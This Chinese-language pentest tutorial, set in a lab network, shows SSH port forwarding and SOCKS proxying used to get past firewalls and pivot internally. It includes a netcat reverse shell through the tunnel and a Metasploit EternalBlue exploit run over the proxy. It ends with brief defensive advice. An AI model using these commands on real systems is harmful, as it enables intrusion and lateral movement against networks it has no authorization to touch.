在內網中幾乎所有的linux服務器和網絡設備都支持ssh協議。一般情況下,ssh協議是允許通過防火牆和邊界設備的,所以經常被攻擊者利用。同時ssh協議的傳輸過程是加密的,所以我們很難區分合法的ssh會話和攻擊者利用其他網絡建立的隧道。攻擊者使用ssh端口隧道突破防火牆的限制后,能夠建立一些之前無法建立的TCP連接。
一個普通的ssh命令如下:
ssh
root@192.168.1.1
創建ssh隧道的常用參數如下:
-C:壓縮傳輸,提高傳輸速度
-f :將ssh傳輸轉入后台執行,不占用當前的shell。
-N:建立靜默連接(建立了連接,但是看不到具體的會話)
-g 允許遠程主機連接本地用於轉發的端口。
-L:本地端口轉發
-R:遠程端口轉發
-D:動態轉發(socks代理)
-P:指定ssh端口。
1.本地端口轉發
測試環境如下:
外部vps可以訪問內網web服務器,但是不能訪問數據庫服務器,內網web服務器可以和數據庫服務器互相訪問。
測試目標:以web服務器為跳板,訪問數據庫服務器的3389端口。

修改ssh服務器配置文件
/etc/ssh/sshd_config
– PermitRootLogin yes
– Port 22
– PasswordAuthentication yes
▪ service ssh restart
ssh -fCNg -L <listen port>:<remote ip>:<remote port> user@<ssh server> -p <ssh server port>
ssh -fCNg -L 1153(vps端口):192.168.190.136(目標主機):3389(目標端口) root@192.168.174.133(跳板機)
ssh -fCNg -L 1153:192.168.190.136:3389 root@192.168.174.133 -p 22
netstat -anptl | grep 1153 查看本地1153端口,可以看到1153端口已經開啟偵聽。

使用rdesktop連接vps的1153端口,可以發現已經與數據服務器192.168.190.136的3389建立了連接
rdesktop 127.0.0.1:1153

ssh進程的本地端口映射可以將本地(客戶機)的某個端口轉發到遠端指定機器的指定端口;本地端口轉發則是在本地(客戶機)監聽一個端口,所有訪問這個端口的數據都會通過ssh隧道傳輸到遠端的對應端口。
加密傳輸:
linux1 : 192.168.190.110
linux2: 192.168.190.133
win7: 192.168.190.136
win2008: 192.168.190.132
在linux1和linux之間建立一條ssh隱秘隧道,使win2008將自己的shell通過ssh隧道反彈給win7。
在linux1上執行如下命令:
ssh -fCNg -L 7006:192.168.190.136:333 root@192.168.190.133 -p 22

在win7上使用nc監聽本地333端口
nc -lvp 333
在win ser2008上使用nc連接linux1的7006端口
nc.exe 192.168.190.110 7006 -e cmd
回到win7上可以看到已經獲得了win2008的shell了。

2.遠程端口轉發
測試環境如下:
左側為攻擊者vps(kali linux);右側是一個小型內網,包含三台機器;內網沒有邊界設備,所以外部的vps不能訪問內網中的三台機器;內網web服務器可以訪問外網vps,數據庫服務器和域控服務器均不能訪問外網的vps。
測試目標:通過外網vps訪問數據庫服務器的3389端口。

以web服務器為跳板,將vps的1521端口的流量轉發到數據庫服務器的3389端口,然后訪問vps的1521端口,就可以訪問數據庫服務器192.168.190.136的3389端口了。
在web服務器上執行如下命令:
ssh -fNg -R <listen port>:<remote ip>:<remote port> user@<SSH server> -p <ssh server port>
ssh -fCNg -R 1521(vps端口):192.168.190.136(目標主機):3389 root@192.168.190.110
ssh -fCNg -R 1521:192.168.190.136:3389
root@192.168.190.110

netstat -anptl | grep 1521 查看遠程vps(192.168.190.110)發現已經開啟對1521端口的監聽

rdesktop 127.0.0.1:1521 訪問vps的1521端口,即可與數據庫服務器的3389端口建立連接。

總結:本地轉發是在本地監聽並將遠程主機某個端口的數據轉發到本地服務器的指定端口。遠程端口轉發則是在遠程主機上監聽一個端口,所有訪問遠程服務器指定端口的數據都會通過ssh隧道傳輸到本地的對應端口上。
3.動態轉發
測試環境如下:

在vps上執行如下命令,建立一個動態的socks代理通道
ssh fCNg -D 7000
root@192.168.174.133
查看本地7000端口的監聽是否已經啟動,可以看到ssh正在監聽7000端口。

然后,在本地打開瀏覽器並設置網絡代理,通過瀏覽器訪問內網域控制器(192.168.190.132)。


此時,也可以使用metasploit掛socks代理掃描目標內網ms17-010
msfconsole -q
msf5 > setg proxies socks5:192.168.174.130:7000
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.190.132
msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 10
msf5 auxiliary(scanner/smb/smb_ms17_010) > run

msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 > set rhost 192.168.190.136
msf5 > set lhost 192.168.174.130
msf5 > set lport 444
msf5 > set ReverseAllowProxy true
msf5 > exploit

總結:動態端口映射就是建立一個ssh加密的socks代理通道。任何支持socks4/5協議的程序都可以使用這個加密隧道進行代理訪問。
4.X協議轉發
1.遠程登陸 Linux GUI 運行圖形化界面工具,類似於VNC和X windows。
2.防火牆限制訪問時,可以嘗試通過 SSH 的 X 轉發
ssh -X root@
192.168.199.165 -p 53
X協議轉發測試
可以使用遠程主機的圖像化工具
ssh -X
root@192.168.199.165

5.ssh隧道防御
ssh隧道之所以能被攻擊者利用,主要是因為系統訪問控制措施不夠。在系統中配置ssh遠程管理白名單,在ACL中限制只有特定的ip地址才能連接ssh,以及設置系統完全使用帶外管理等方法,都可以避免這一問題。如果沒有足夠的資源來建立帶外管理的網絡結構,在內網中至少要限制ssh遠程登錄的地址和雙向訪問控制策略(從外部到內部、從內部到外部)。